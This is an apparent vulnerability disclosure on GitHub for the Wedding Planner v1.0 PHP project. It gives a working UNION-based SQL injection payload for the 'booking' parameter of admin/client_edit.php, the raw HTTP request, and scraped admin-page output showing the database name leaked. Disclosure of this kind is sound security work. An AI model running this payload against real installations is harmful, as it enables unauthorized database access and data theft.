

main

...

Bug_report / vendors / pushpam02 / wedding-planner / SQLi-2.md



Geoduck-CNN Create SQLi-2.md

History

1 contributor

27 lines (19 sloc) | 1.05 KB

...

Wedding Planner v1.0 by pushpam02 has SQL injection

BUG_Author: JunyuChen

vendors: <https://www.sourcecodester.com/php/15375/wedding-planner-project-php-free-download.html>

Vulnerability File: /Wedding-Management-PHP/admin/client_edit.php?booking=

Vulnerability location: /Wedding-Management-PHP/admin/client_edit.php?booking=, booking

[+] Payload: /Wedding-Management-PHP/admin/client_edit.php? booking=-33%20union%20select%201,2,3,4,5,database(),7,8--+&user_id=33

dbname = dbwedding

```
GET /Wedding-Management-PHP/admin/client_edit.php?booking=-33%20union%20select%201,2
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1
Cookie: PHPSESSID=ncd6h7doujvbbft46r0m7mbr6s
Connection: close

SQL BASICS

UNION BASED

ERROR/DOUBLE QUERY

TOOLS

WAF BYPASS

ENCODING

HTML

ENCRYPTION

OTHER

XXS

LFI

Load URL

Split URL

Execute

http://192.168.1.19/Wedding-Management-PHP/admin/client_edit.php?booking=-33 union select 1,2,3,4,5,database(),7,8--+&user_id=33

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

WPMS Admin Panel

Liam I

Liam Moore
Administrator

Dashboard

Blogs & Events

Clients

Services

Gallery

Upload Photos

User Management

Edit Client Information

Edit Customer

Cancel

Firstname

Lastname

Amy

Stewart

Email

dbwedding

Wedding Date

Wedding Type

7

Elite - 52,000

Bride's name